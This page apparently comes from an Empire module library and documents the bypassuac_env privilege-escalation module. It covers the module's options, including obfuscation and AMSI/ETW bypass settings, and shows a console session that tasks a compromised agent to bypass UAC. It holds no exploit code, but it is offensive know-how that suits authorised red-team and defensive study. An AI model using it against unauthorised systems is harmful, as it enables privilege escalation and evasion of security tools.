Invoke-EnvBypass - Empire Module
This page contains detailed information about how to use the powershell/privesc/bypassuac_env Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-EnvBypass
Module: powershell/privesc/bypassuac_env
Source code [1]: empire/server/modules/powershell/privesc/bypassuac_env.yaml
Source code [2]: empire/server/modules/powershell/privesc/bypassuac_env.py
MITRE ATT&CK:
T1088
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The bypassuac_env module bypasses UAC (even with Always Notify level set) by by performing an registry modification of the "windir" value in "Environment" based on James Forshaw findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html).
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the bypassuac_env module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the bypassuac_env module:
Agent
Agent to run module on.
Listener
Listener to use.
Additional Module Options
This is a list of additional options that are supported by the bypassuac_env module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.
Proxy
Proxy to use for request (default, none, or other).
Default value: default.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.
Bypassuac_env Example Usage
Here's an example of how to use the bypassuac_env module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/bypassuac_env
Author Petr Medonos
Background True
Comments https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-
variables-in.html
Description Bypasses UAC (even with Always Notify level set) by by performing an
registry modification of the "windir" value in "Environment" based on
James Forshaw
findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-
environment-variables-in.html)
Language powershell
Name powershell/privesc/bypassuac_env
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1088
,Record Options----,--------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|--------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|--------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|--------------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------------|--------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|--------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|--------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'--------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/privesc/bypassuac_env) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/bypassuac_env) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/bypassuac_env) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
- Petr Medonos
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/bypassuac_env.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/bypassuac_env.py
- https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html
- http://attack.mitre.org/techniques/T1088
See Also
Check also the following modules related to this module:
- powershell/privesc/bypassuac_tokenmanipulation
- powershell/privesc/bypassuac_wscript
- powershell/privesc/bypassuac_eventvwr
- powershell/privesc/bypassuac_sdctlbypass
- powershell/privesc/bypassuac_fodhelper
- powershell/privesc/bypassuac
- powershell/privesc/winPEAS
- powershell/privesc/sweetpotato
- powershell/privesc/tater
- powershell/privesc/ms16-135
- powershell/privesc/ask
- powershell/privesc/mcafee_sitelist
- powershell/privesc/privesccheck
- powershell/privesc/sherlock
- powershell/privesc/ms16-032
- powershell/privesc/zerologon
- powershell/privesc/printdemon
- powershell/privesc/getsystem
- powershell/privesc/gpp
- powershell/privesc/watson
- powershell/privesc/printnightmare
- powershell/privesc/powerup/service_exe_useradd
- powershell/privesc/powerup/write_dllhijacker
- powershell/privesc/powerup/service_stager
- powershell/privesc/powerup/service_exe_restore
- powershell/privesc/powerup/service_exe_stager
- powershell/privesc/powerup/find_dllhijack
- powershell/privesc/powerup/service_useradd
- powershell/privesc/powerup/allchecks
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
